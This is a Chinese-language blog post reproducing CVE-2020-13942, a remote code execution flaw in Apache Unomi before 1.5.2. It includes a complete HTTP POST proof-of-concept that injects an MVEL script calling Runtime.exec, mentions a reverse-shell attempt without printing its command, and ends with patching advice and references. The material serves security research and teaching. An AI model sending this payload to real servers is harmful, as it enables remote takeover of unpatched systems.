CVE-2020-13942 (Apache Unomi 远程代码执行漏洞) 复现

CVE -2020-13942 (Apache Unomi 远程代码执行漏洞)

一、漏洞描述:

Apache Unomi是一个Java开源客户数据平台,这是一个Java服务器,旨在管理客户,潜在顾客和访问者的数据,并帮助个性化客户体验。Unomi可用于在非常不同的系统(例如CMS,CRM,问题跟踪器,本机移动应用程序等)中集成个性化和配置文件管理。

在Apache Unomi 1.5.1版本之前,攻击者可以通过精心构造的MVEL或ONGl表达式来发送恶意请求,使得Unomi服务器执行任意代码,漏洞对应编号为CVE-2020-11975,而CVE-2020-13942漏洞是对CVE-2020-11975漏洞的补丁绕过,攻击者绕过补丁检测的黑名单,发送恶意请求,在服务器执行任意代码。

二、影响版本:

Apache Unomi < 1.5.2

三、漏洞复现:

访问页面样式

POC:

POST/context.jsonHTTP/1.1Host: localhost:8181User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0Content-Length: 486​{"filters": [        {"id":"boom","filters": [                {"condition": {"parameterValues": {"":"script::Runtime r = Runtime.getRuntime(); r.exec(\"gnome-calculator\");"                        },"type":"profilePropertyCondition"                    }                }            ]        }    ],"sessionId":"boom"}

抓包poc执行:

查看DNSlog记录:

尝试反弹shell:

执行反弹shell命令脚本:

获取shell

四、修复方案

1、尽可能避免将用户数据放入表达式解释器中。

2、目前厂商已发布最新版本,请受影响用户及时下载并更新至最新版本。官方链接如下:

https://unomi.apache.org/download.html

参考:

https://nosec.org/home/detail/4611.html

http://hnyongxu.com/index/SecurityIncidents/137.html

https://mp.weixin.qq.com/s/GebQxERJCmULLuRVRXsnYQ(阿乐)

https://github.com/lp008/CVE-2020-13942

免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

转载声明:著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

订阅查看更多复现文章、学习笔记

thelostworld

安全路上,与你并肩前行!!!!

个人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns

个人简书:https://www.jianshu.com/u/bf0e38a8d400

个人CSDN:https://blog.csdn.net/qq_37602797/category_10169006.html

posted @ 2020-11-30 11:49  thelostworld  阅读(288)  评论(0编辑  收藏  举报